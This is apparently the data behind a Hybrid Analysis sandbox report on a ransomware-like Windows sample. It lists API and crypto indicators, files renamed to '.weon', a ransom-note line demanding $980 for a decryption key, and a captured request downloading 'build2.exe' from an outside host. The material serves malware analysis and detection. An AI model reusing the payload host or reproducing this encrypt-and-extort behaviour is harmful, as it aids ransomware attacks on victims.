26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 77:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T48f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ser.Zusy.Generic Sample dc63baabd84d… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample dc63baabd84d…. Malware family: Ser.Zusy.Generic. Threat score 100/100. 7/27 AV engines flagged this file. 12 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","keywords":["Malicious","Ser.Zusy.Generic","malware analysis","sandbox report","threat intelligence","dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f"],"about":{"@type":"SoftwareApplication","name":"04587099.exe","applicationCategory":["peexe","executable"],"identifier":"dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ser.Zusy.Generic","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":12,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5b4,Found string "Content-Transfer-Encoding: base64%s" (Indicator: "Content-Transfer-Encoding: base64"; File: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s%s" (Indicator: "Content-Transfer-Encoding: base64"; File: "00000000-00005728.00000000.80675.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "Content-Transfer-Encoding: base64%s%s" (Indicator: "Content-Transfer-Encoding: base64"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")28:Ta3b,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")29:Tad4,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "dc63baabd84deecd8eea558f7998ad10e22551ec39103bf02d4ae040c6c5d30f.bin") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")2a:T5c5,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00005728.00000000.80675.00400000.00000040.mdmp, 00000000-00005728.00000001.82597.00400000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006344.00000000.78848.00400000.00000040.mdmp")2b:Tbab,file/memory contains long string with (Indicator: "Oid"; File: "comdlg32.dll.mui") file/memory contains long string with (Indicator: "RC2"; File: "syncres.dll.mui") file/memory contains long string with (Indicator: "Aes"; File: "retaildemosetup.js") Found reference to "DlSHA512 block transform for x86, CRYPTOGAMS by " (Indicator: "SHA512"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC routines" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RC2_MAGIC_TO_METH" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RSA-SHA384" (Indicator: "SHA384"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RSA-SHA512" (Indicator: "SHA512"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC-MD5" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA384" (Indicator: "SHA384"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA512" (Indicator: "SHA512"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "hmacWithSHA384" (Indicator: "SHA384"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "hmacWithSHA512" (Indicator: "SHA512"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "id-HMACGostR3411-94" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC GOST 34.11-94" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RC2-ECB" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RC2-CFB" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "RC2-OFB" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "HMAC" (Indicator: "HMAC"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found reference to "PBE-SHA1-RC2-64" (Indicator: "RC2"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp")2c:T7a3,Contains long base64 encoded string "000000000a0000007b45373132434239372d363036362d344139352d393130372d4546363846343046383731387d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000496e74656c2852292050524f2f31303030204d54204465736b746f70204164617074657200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000e6063b030c2700000a000000060000000100000000000000000000003139322e3136382e3234332e373000003235352e3235352e3235322e30000000c0a8f346000000003139322e3136382e3234302e320000003235352e3235352e3235352e32353500c0a8f002000000003139322e3136382e3234302e320000003235352e3235352e3235352e32353500c0a8f0020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001b3377649f3677640000000000000000" in [Source : 00000000-00005728.00000000.80675.00600000.00000004.mdmp 00000000-00005728.00000001.82597.00600000.00000004.mdmp] Contains long base64 encoded string "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" in [Source : 00000000-00005728.00000001.82597.00870000.00000004.mdmp]2d:T1b79,"04587099.exe" renamed original file"C:\04587099.exe" to "C:\04587099.exe.weon" "04587099.exe" renamed original file"C:\bootTel.dat" to "C:\bootTel.dat.weon" "04587099.exe" renamed original file"C:\found.000\file00000003.chk" to "C:\found.000\file00000003.chk.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\$filehashes$.dat" to "C:\found.000\dir0001.chk\$filehashes$.dat.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest.weon" "04587099.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest.weon"2e:T1124,Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-258-0040E31A Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-258-0040E31A Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-747-00411F67 Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-747-00411F67 Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-776-00413A23 Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-776-00413A23 Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-779-00413B25 Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-779-00413B25 Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-783-00413CF6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-783-00413CF6 Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-746-0040B3E6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-746-0040B3E6 Assembly shows XOR instruction xor eax ebp in Stream UID: 11225-749-00417A5F Assembly shows XOR instruction xor ecx ebp in Stream UID: 11225-749-00417A5F Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-601-004386C2 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-667-00432515 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-23-00424168 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-23-00424168 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-243-00426AB6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-243-00426AB6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-453-0042A89E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-453-0042A89E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-600-0044D4BA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-600-0044D4BA Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-47-00432553 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-29-0042A57A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-29-0042A57A Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-40-0043263E Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-671-00427D6C Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-260-004549A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-260-004549A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-626-004230C5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-626-004230C5 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-185-0042E003 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-185-0042E003 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-50-00432534 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006344-20777-94-00438908 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-300-00433E00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-300-00433E00 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006344-20777-657-004321A1 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006344-20777-657-004321A1 Assembly shows XOR instruction xor ecx dword ptr [ebp-14h] in Stream UID: 00000000-00006344-20777-657-004321A1 Assembly shows XOR instruction xor ecx dword ptr [ebp-04h] in Stream UID: 00000000-00006344-20777-657-004321A1 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00006344-20777-657-004321A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006344-20777-17-00427FAE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006344-20777-17-00427FAE2f:Tc80,file/memory contains long string with (Indicator: "private key"; File: "_readme.txt") Found string "ANY PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "ENCRYPTED PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "PUBLIC KEY" (Indicator: "public key"; File: "00000000-00006344.00000000.78848.00400000.00000040.mdmp") Found string "Price of private key and decrypt software is $980." (Indicator: "private key"; File: "_readme.txt") Found string "RSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "RSA PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "DSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "EC PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "private key header missing" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "unable to decode rsa private key" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "unknown public key type" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "unsupported public key type" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "wrong public key type" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "invalid private key" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "missing private key" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "invalid public key" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "private key decode error" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "private key encode error" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "public key not rsa" (Indicator: "public key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "unsupported private key algorithm" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "error converting private key" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp") Found string "expecting private key blob" (Indicator: "private key"; Source: "00000000-00004284.00000000.88232.00400000.00000040.mdmp")30:T4ac,Contains base64 string in header "Internet" in header "GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com" Contains base64 string in header "ExplorerHost" in header "GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: colisumy.com" 